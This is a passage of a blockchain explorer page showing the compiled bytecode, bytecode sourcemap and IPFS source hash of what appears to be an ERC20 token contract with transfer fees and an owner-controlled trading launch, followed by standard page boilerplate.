b905082610d398583611365565b14610d905760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161038c565b9392505050565b5f610d9083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611036565b5f818311610de65782610d90565b50919050565b6010805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610e3257610e3261132b565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610e89573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ead91906112f8565b81600181518110610ec057610ec061132b565b6001600160a01b039283166020918202929092010152600f54610ee6913091168461074e565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f1e9085905f90869030904290600401611384565b5f604051808303815f87803b158015610f35575f80fd5b505af1158015610f47573d5f803e3d5ffd5b50506010805460ff60a01b1916905550505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610f93573d5f803e3d5ffd5b5050565b5f80610fa3838561133f565b905083811015610d905760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161038c565b5f610d9083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610cda565b5f81836110565760405162461bcd60e51b815260040161038c9190611062565b505f610d098486611365565b5f602080835283518060208501525f5b8181101561108e57858101830151858201604001528201611072565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146110c2575f80fd5b50565b5f80604083850312156110d6575f80fd5b82356110e1816110ae565b946020939093013593505050565b5f805f60608486031215611101575f80fd5b833561110c816110ae565b9250602084013561111c816110ae565b929592945050506040919091013590565b5f6020828403121561113d575f80fd5b8135610d90816110ae565b5f8060408385031215611159575f80fd5b8235611164816110ae565b91506020830135611174816110ae565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156111cd57815f19048211156111b3576111b361117f565b808516156111c057918102915b93841c9390800290611198565b509250929050565b5f826111e3575060016102d6565b816111ef57505f6102d6565b8160018114611205576002811461120f5761122b565b60019150506102d6565b60ff8411156112205761122061117f565b50506001821b6102d6565b5060208310610133831016604e8410600b841016171561124e575081810a6102d6565b6112588383611193565b805f190482111561126b5761126b61117f565b029392505050565b5f610d9060ff8416836111d5565b80820281158282048414176102d6576102d661117f565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f805f606084860312156112df575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611308575f80fd5b8151610d90816110ae565b5f600182016113245761132461117f565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b808201808211156102d6576102d661117f565b818103818111156102d6576102d661117f565b5f8261137f57634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156113d45784516001600160a01b0316835293830193918301916001016113af565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204bfd1a589378fc403dda022a45e7e62c2278c1e4b693d9886112c3783db0840964736f6c63430008180033
Deployed Bytecode Sourcemap
3745:6496:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5312:83;;;;;;;;;;-1:-1:-1;5382:5:0;;;;;;;;;;;;-1:-1:-1;;;5382:5:0;;;;5312:83;;;;;;;:::i;:::-;;;;;;;;6145:161;;;;;;;;;;-1:-1:-1;6145:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6145:161:0;1023:187:1;5589:95:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;5589:95:0;1215:177:1;6314:313:0;;;;;;;;;;-1:-1:-1;6314:313:0;;;;;:::i;:::-;;:::i;5498:83::-;;;;;;;;;;-1:-1:-1;5498:83:0;;4161:1;2000:36:1;;1988:2;1973:18;5498:83:0;1858:184:1;5692:119:0;;;;;;;;;;-1:-1:-1;5692:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5785:18:0;5758:7;5785:18;;;:9;:18;;;;;;;5692:119;1018:148;;;;;;;;;;;;;:::i;:::-;;804:79;;;;;;;;;;-1:-1:-1;842:7:0;869:6;804:79;;-1:-1:-1;;;;;869:6:0;;;2445:51:1;;2433:2;2418:18;804:79:0;2299:203:1;5403:87:0;;;;;;;;;;-1:-1:-1;5475:7:0;;;;;;;;;;;;-1:-1:-1;;;5475:7:0;;;;5403:87;;5819:167;;;;;;;;;;-1:-1:-1;5819:167:0;;;;;:::i;:::-;;:::i;9926:312::-;;;;;;;;;;;;;:::i;5994:143::-;;;;;;;;;;-1:-1:-1;5994:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6102:18:0;;;6075:7;6102:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;5994:143;9631:287;;;;;;;;;;;;;:::i;6145:161::-;6220:4;6237:39;461:10;6260:7;6269:6;6237:8;:39::i;:::-;-1:-1:-1;6294:4:0;6145:161;;;;;:::o;5589:95::-;5642:7;4217:13;4161:1;4217:2;:13;:::i;:::-;4204:26;;:10;:26;:::i;:::-;5662:14;;5589:95;:::o;6314:313::-;6412:4;6429:36;6439:6;6447:9;6458:6;6429:9;:36::i;:::-;6476:121;6485:6;461:10;6507:89;6545:6;6507:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6507:19:0;;;;;;:11;:19;;;;;;;;461:10;6507:33;;;;;;;;;;:37;:89::i;:::-;6476:8;:121::i;:::-;-1:-1:-1;6615:4:0;6314:313;;;;;:::o;1018:148::-;931:6;;-1:-1:-1;;;;;931:6:0;461:10;931:22;923:67;;;;-1:-1:-1;;;923:67:0;;;;;;;:::i;:::-;;;;;;;;;1125:1:::1;1109:6:::0;;1088:40:::1;::::0;-1:-1:-1;;;;;1109:6:0;;::::1;::::0;1088:40:::1;::::0;1125:1;;1088:40:::1;1156:1;1139:19:::0;;-1:-1:-1;;;;;;1139:19:0::1;::::0;;1018:148::o;5819:167::-;5897:4;5914:42;461:10;5938:9;5949:6;5914:9;:42::i;9926:312::-;931:6;;-1:-1:-1;;;;;931:6:0;461:10;931:22;923:67;;;;-1:-1:-1;;;923:67:0;;;;;;;:::i;:::-;9990:15:::1;::::0;-1:-1:-1;;;9990:15:0;::::1;;;9989:16;9981:51;;;::::0;-1:-1:-1;;;9981:51:0;;5145:2:1;9981:51:0::1;::::0;::::1;5127:21:1::0;5184:2;5164:18;;;5157:30;5223:25;5203:18;;;5196:53;5266:18;;9981:51:0::1;4943:347:1::0;9981:51:0::1;10043:10;::::0;-1:-1:-1;;;;;10043:10:0::1;:26;10077:21;10108:4;10114:24;10108:4:::0;-1:-1:-1;;;;;5785:18:0;5758:7;5785:18;;;:9;:18;;;;;;;5692:119;10114:24:::1;10139:1;10141::::0;10143:7:::1;842::::0;869:6;-1:-1:-1;;;;;869:6:0;;804:79;10143:7:::1;10043:124;::::0;::::1;::::0;;;-1:-1:-1;;;;;;10043:124:0;;;-1:-1:-1;;;;;5654:15:1;;;10043:124:0::1;::::0;::::1;5636:34:1::0;5686:18;;;5679:34;;;;5729:18;;;5722:34;;;;5772:18;;;5765:34;5836:15;;;5815:19;;;5808:44;10151:15:0::1;5868:19:1::0;;;5861:35;5570:19;;10043:124:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;10178:12:0::1;:19:::0;;-1:-1:-1;;;;10208:22:0;-1:-1:-1;;;10208:22:0;;;-1:-1:-1;9926:312:0:o;9631:287::-;931:6;;-1:-1:-1;;;;;931:6:0;461:10;931:22;923:67;;;;-1:-1:-1;;;923:67:0;;;;;;;:::i;:::-;9679:10:::1;:67:::0;;-1:-1:-1;;;;;;9679:67:0::1;9703:42;9679:67:::0;;::::1;::::0;;;9757:53:::1;::::0;9774:4:::1;::::0;4217:13:::1;4161:1;4217:2;:13;:::i;:::-;4204:26;::::0;:10:::1;:26;:::i;9757:53::-;9844:10;;;;;;;;;-1:-1:-1::0;;;;;9844:10:0::1;-1:-1:-1::0;;;;;9844:18:0::1;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9832:44:0::1;;9885:4;9892:10;;;;;;;;;-1:-1:-1::0;;;;;9892:10:0::1;-1:-1:-1::0;;;;;9892:15:0::1;;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9832:78;::::0;-1:-1:-1;;;;;;9832:78:0::1;::::0;;;;;;-1:-1:-1;;;;;6704:15:1;;;9832:78:0::1;::::0;::::1;6686:34:1::0;6756:15;;6736:18;;;6729:43;6621:18;;9832:78:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9821:8;:89:::0;;-1:-1:-1;;;;;;9821:89:0::1;-1:-1:-1::0;;;;;9821:89:0;;;::::1;::::0;;;::::1;::::0;;9631:287::o;6635:335::-;-1:-1:-1;;;;;6728:19:0;;6720:68;;;;-1:-1:-1;;;6720:68:0;;6985:2:1;6720:68:0;;;6967:21:1;7024:2;7004:18;;;6997:30;7063:34;7043:18;;;7036:62;-1:-1:-1;;;7114:18:1;;;7107:34;7158:19;;6720:68:0;6783:400:1;6720:68:0;-1:-1:-1;;;;;6807:21:0;;6799:68;;;;-1:-1:-1;;;6799:68:0;;7390:2:1;6799:68:0;;;7372:21:1;7429:2;7409:18;;;7402:30;7468:34;7448:18;;;7441:62;-1:-1:-1;;;7519:18:1;;;7512:32;7561:19;;6799:68:0;7188:398:1;6799:68:0;-1:-1:-1;;;;;6878:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6930:32;;1361:25:1;;;6930:32:0;;1334:18:1;6930:32:0;;;;;;;6635:335;;;:::o;6978:1915::-;-1:-1:-1;;;;;7069:19:0;;7061:69;;;;-1:-1:-1;;;7061:69:0;;7793:2:1;7061:69:0;;;7775:21:1;7832:2;7812:18;;;7805:30;7871:34;7851:18;;;7844:62;-1:-1:-1;;;7922:18:1;;;7915:35;7967:19;;7061:69:0;7591:401:1;7061:69:0;-1:-1:-1;;;;;7149:19:0;;7141:67;;;;-1:-1:-1;;;7141:67:0;;8199:2:1;7141:67:0;;;8181:21:1;8238:2;8218:18;;;8211:30;8277:34;8257:18;;;8250:62;-1:-1:-1;;;8328:18:1;;;8321:33;8371:19;;7141:67:0;7997:399:1;7141:67:0;7235:1;7227:5;:9;7219:63;;;;-1:-1:-1;;;7219:63:0;;8603:2:1;7219:63:0;;;8585:21:1;8642:2;8622:18;;;8615:30;8681:34;8661:18;;;8654:62;-1:-1:-1;;;8732:18:1;;;8725:39;8781:19;;7219:63:0;8401:405:1;7219:63:0;7295:17;869:6;;-1:-1:-1;;;;;7329:16:0;;;869:6;;7329:16;;;;:36;;-1:-1:-1;842:7:0;869:6;-1:-1:-1;;;;;7349:16:0;;;869:6;;7349:16;;7329:36;7325:1021;;;7394:75;7465:3;7394:66;7415:15;;7405:9;;:25;7404:55;;7445:14;;7404:55;;;7432:12;;7404:55;7394:5;;:9;:66::i;:::-;:70;;:75::i;:::-;7499:8;;7382:87;;-1:-1:-1;;;;;;7490:17:0;;;7499:8;;7490:17;:49;;;;-1:-1:-1;7528:10:0;;-1:-1:-1;;;;;7511:28:0;;;7528:10;;7511:28;;7490:49;:80;;;;-1:-1:-1;;;;;;7545:25:0;;;;;;:18;:25;;;;;;;;7543:27;7490:80;7486:133;;;7592:9;:11;;;:9;:11;;;:::i;:::-;;;;;;7486:133;7647:8;;-1:-1:-1;;;;;7638:17:0;;;7647:8;;7638:17;:42;;;;-1:-1:-1;;;;;;7659:21:0;;7675:4;7659:21;;7638:42;7635:172;;;7713:78;7787:3;7713:69;7734:16;;7724:9;;:26;7723:58;;7766:15;;7723:58;;;7752:13;;7713:5;;:9;:69::i;:78::-;7701:90;;7635:172;7872:4;7823:28;5785:18;;;:9;:18;;;;;;7898:6;;-1:-1:-1;;;7898:6:0;;;;7897:7;:28;;;;-1:-1:-1;7917:8:0;;-1:-1:-1;;;;;7908:17:0;;;7917:8;;7908:17;7897:28;:44;;;;-1:-1:-1;7929:12:0;;-1:-1:-1;;;7929:12:0;;;;7897:44;:78;;;;;7957:18;;7945:9;;:30;7897:78;7893:442;;;8022:13;;7999:20;:36;7996:128;;;8054:70;8071:52;8075:5;8082:40;8086:20;8108:13;;8082:3;:40::i;:::-;8071:3;:52::i;:::-;8054:16;:70::i;:::-;8172:21;8264:36;8278:21;8264:13;:36::i;:::-;7977:358;7893:442;7367:979;7325:1021;8358:44;;;;;;;;;;;;;;;;;;8429:10;;8413:46;;8422:5;;-1:-1:-1;;;;;8429:10:0;8358:44;8429:10;8450:8;;;;;8441;;:17;;8450:8;8441:17;:::i;8413:46::-;8486:10;;8470:46;;8479:5;;-1:-1:-1;;;;;8486:10:0;8507:5;8486:10;8507:8;;8470:46;8532:11;;8529:162;;8600:4;8582:24;;;;:9;:24;;;;;;:39;;8611:9;8582:28;:39::i;:::-;8575:4;8557:24;;;;:9;:24;;;;;;;:64;;;;8639:40;;-1:-1:-1;;;;;8639:40:0;;;;;;;8669:9;1361:25:1;;1349:2;1334:18;;1215:177;8639:40:0;;;;;;;;8529:162;-1:-1:-1;;;;;8728:16:0;;;;;;:9;:16;;;;;;:27;;8749:5;8728:20;:27::i;:::-;-1:-1:-1;;;;;8711:16:0;;;;;;:9;:16;;;;;:44;8783:42;8804:20;:5;8814:9;8804;:20::i;:::-;-1:-1:-1;;;;;8783:16:0;;;;;;:9;:16;;;;;;;:20;:42::i;:::-;-1:-1:-1;;;;;8766:16:0;;;;;;;:9;:16;;;;;:59;;;;8841:44;;;8864:20;:5;8874:9;8864;:20::i;:::-;8841:44;;1361:25:1;;;1349:2;1334:18;8841:44:0;;;;;;;7050:1843;;6978:1915;;;:::o;2278:190::-;2364:7;2400:12;2392:6;;;;2384:29;;;;-1:-1:-1;;;2384:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2424:9:0;2436:5;2440:1;2436;:5;:::i;:::-;2424:17;2278:190;-1:-1:-1;;;;;2278:190:0:o;2476:246::-;2534:7;2558:1;2563;2558:6;2554:47;;-1:-1:-1;2588:1:0;2581:8;;2554:47;2611:9;2623:5;2627:1;2623;:5;:::i;:::-;2611:17;-1:-1:-1;2656:1:0;2647:5;2651:1;2611:17;2647:5;:::i;:::-;:10;2639:56;;;;-1:-1:-1;;;2639:56:0;;9770:2:1;2639:56:0;;;9752:21:1;9809:2;9789:18;;;9782:30;9848:34;9828:18;;;9821:62;-1:-1:-1;;;9899:18:1;;;9892:31;9940:19;;2639:56:0;9568:397:1;2639:56:0;2713:1;2476:246;-1:-1:-1;;;2476:246:0:o;2730:132::-;2788:7;2815:39;2819:1;2822;2815:39;;;;;;;;;;;;;;;;;:3;:39::i;8901:99::-;8958:7;8986:1;8984;:3;8983:9;;8991:1;8983:9;;;-1:-1:-1;8989:1:0;8901:99;-1:-1:-1;8901:99:0:o;9118:468::-;4932:6;:13;;-1:-1:-1;;;;4932:13:0;-1:-1:-1;;;4932:13:0;;;9220:16:::1;::::0;;9234:1:::1;9220:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9220:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9220:16:0::1;9196:40;;9265:4;9247;9252:1;9247:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9247:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9291:10:::1;::::0;:17:::1;::::0;;-1:-1:-1;;;9291:17:0;;;;:10;;;::::1;::::0;:15:::1;::::0;:17:::1;::::0;;::::1;::::0;9247:7;;9291:17;;;;;:10;:17:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9281:4;9286:1;9281:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9281:27:0;;::::1;:7;::::0;;::::1;::::0;;;;;:27;9351:10:::1;::::0;9319:57:::1;::::0;9336:4:::1;::::0;9351:10:::1;9364:11:::0;9319:8:::1;:57::i;:::-;9387:10;::::0;:191:::1;::::0;-1:-1:-1;;;9387:191:0;;-1:-1:-1;;;;;9387:10:0;;::::1;::::0;:61:::1;::::0;:191:::1;::::0;9463:11;;9387:10:::1;::::0;9505:4;;9532::::1;::::0;9552:15:::1;::::0;9387:191:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;4968:6:0;:14;;-1:-1:-1;;;;4968:14:0;;;-1:-1:-1;;;;9118:468:0:o;9008:102::-;9074:10;;9066:36;;-1:-1:-1;;;;;9074:10:0;;;;9066:36;;;;;9095:6;;9074:10;9066:36;9074:10;9066:36;9095:6;9074:10;9066:36;;;;;;;;;;;;;;;;;;;;;9008:102;:::o;1947:179::-;2005:7;;2037:5;2041:1;2037;:5;:::i;:::-;2025:17;;2066:1;2061;:6;;2053:46;;;;-1:-1:-1;;;2053:46:0;;11289:2:1;2053:46:0;;;11271:21:1;11328:2;11308:18;;;11301:30;11367:29;11347:18;;;11340:57;11414:18;;2053:46:0;11087:351:1;2134:136:0;2192:7;2219:43;2223:1;2226;2219:43;;;;;;;;;;;;;;;;;:3;:43::i;2870:189::-;2956:7;2991:12;2984:5;2976:28;;;;-1:-1:-1;;;2976:28:0;;;;;;;;:::i;:::-;-1:-1:-1;3015:9:0;3027:5;3031:1;3027;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:127::-;2961:10;2956:3;2952:20;2949:1;2942:31;2992:4;2989:1;2982:15;3016:4;3013:1;3006:15;3032:416;3121:1;3158:5;3121:1;3172:270;3193:7;3183:8;3180:21;3172:270;;;3252:4;3248:1;3244:6;3240:17;3234:4;3231:27;3228:53;;;3261:18;;:::i;:::-;3311:7;3301:8;3297:22;3294:55;;;3331:16;;;;3294:55;3410:22;;;;3370:15;;;;3172:270;;;3176:3;3032:416;;;;;:::o;3453:806::-;3502:5;3532:8;3522:80;;-1:-1:-1;3573:1:1;3587:5;;3522:80;3621:4;3611:76;;-1:-1:-1;3658:1:1;3672:5;;3611:76;3703:4;3721:1;3716:59;;;;3789:1;3784:130;;;;3696:218;;3716:59;3746:1;3737:10;;3760:5;;;3784:130;3821:3;3811:8;3808:17;3805:43;;;3828:18;;:::i;:::-;-1:-1:-1;;3884:1:1;3870:16;;3899:5;;3696:218;;3998:2;3988:8;3985:16;3979:3;3973:4;3970:13;3966:36;3960:2;3950:8;3947:16;3942:2;3936:4;3933:12;3929:35;3926:77;3923:159;;;-1:-1:-1;4035:19:1;;;4067:5;;3923:159;4114:34;4139:8;4133:4;4114:34;:::i;:::-;4184:6;4180:1;4176:6;4172:19;4163:7;4160:32;4157:58;;;4195:18;;:::i;:::-;4233:20;;3453:806;-1:-1:-1;;;3453:806:1:o;4264:140::-;4322:5;4351:47;4392:4;4382:8;4378:19;4372:4;4351:47;:::i;4409:168::-;4482:9;;;4513;;4530:15;;;4524:22;;4510:37;4500:71;;4551:18;;:::i;4582:356::-;4784:2;4766:21;;;4803:18;;;4796:30;4862:34;4857:2;4842:18;;4835:62;4929:2;4914:18;;4582:356::o;5907:306::-;5995:6;6003;6011;6064:2;6052:9;6043:7;6039:23;6035:32;6032:52;;;6080:1;6077;6070:12;6032:52;6109:9;6103:16;6093:26;;6159:2;6148:9;6144:18;6138:25;6128:35;;6203:2;6192:9;6188:18;6182:25;6172:35;;5907:306;;;;;:::o;6218:251::-;6288:6;6341:2;6329:9;6320:7;6316:23;6312:32;6309:52;;;6357:1;6354;6347:12;6309:52;6389:9;6383:16;6408:31;6433:5;6408:31;:::i;8811:135::-;8850:3;8871:17;;;8868:43;;8891:18;;:::i;:::-;-1:-1:-1;8938:1:1;8927:13;;8811:135::o;8951:127::-;9012:10;9007:3;9003:20;9000:1;8993:31;9043:4;9040:1;9033:15;9067:4;9064:1;9057:15;9083:125;9148:9;;;9169:10;;;9166:36;;;9182:18;;:::i;9213:128::-;9280:9;;;9301:11;;;9298:37;;;9315:18;;:::i;9346:217::-;9386:1;9412;9402:132;;9456:10;9451:3;9447:20;9444:1;9437:31;9491:4;9488:1;9481:15;9519:4;9516:1;9509:15;9402:132;-1:-1:-1;9548:9:1;;9346:217::o;10102:980::-;10364:4;10412:3;10401:9;10397:19;10443:6;10432:9;10425:25;10469:2;10507:6;10502:2;10491:9;10487:18;10480:34;10550:3;10545:2;10534:9;10530:18;10523:31;10574:6;10609;10603:13;10640:6;10632;10625:22;10678:3;10667:9;10663:19;10656:26;;10717:2;10709:6;10705:15;10691:29;;10738:1;10748:195;10762:6;10759:1;10756:13;10748:195;;;10827:13;;-1:-1:-1;;;;;10823:39:1;10811:52;;10918:15;;;;10883:12;;;;10859:1;10777:9;10748:195;;;-1:-1:-1;;;;;;;10999:32:1;;;;10994:2;10979:18;;10972:60;-1:-1:-1;;;11063:3:1;11048:19;11041:35;10960:3;10102:980;-1:-1:-1;;;10102:980:1:o
Swarm Source
ipfs://4bfd1a589378fc403dda022a45e7e62c2278c1e4b693d9886112c3783db08409
Loading...
Loading
Loading...
Loading
Multichain Portfolio | 30 Chains
Chain | Token | Portfolio % | Price | Amount | Value |
---|
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.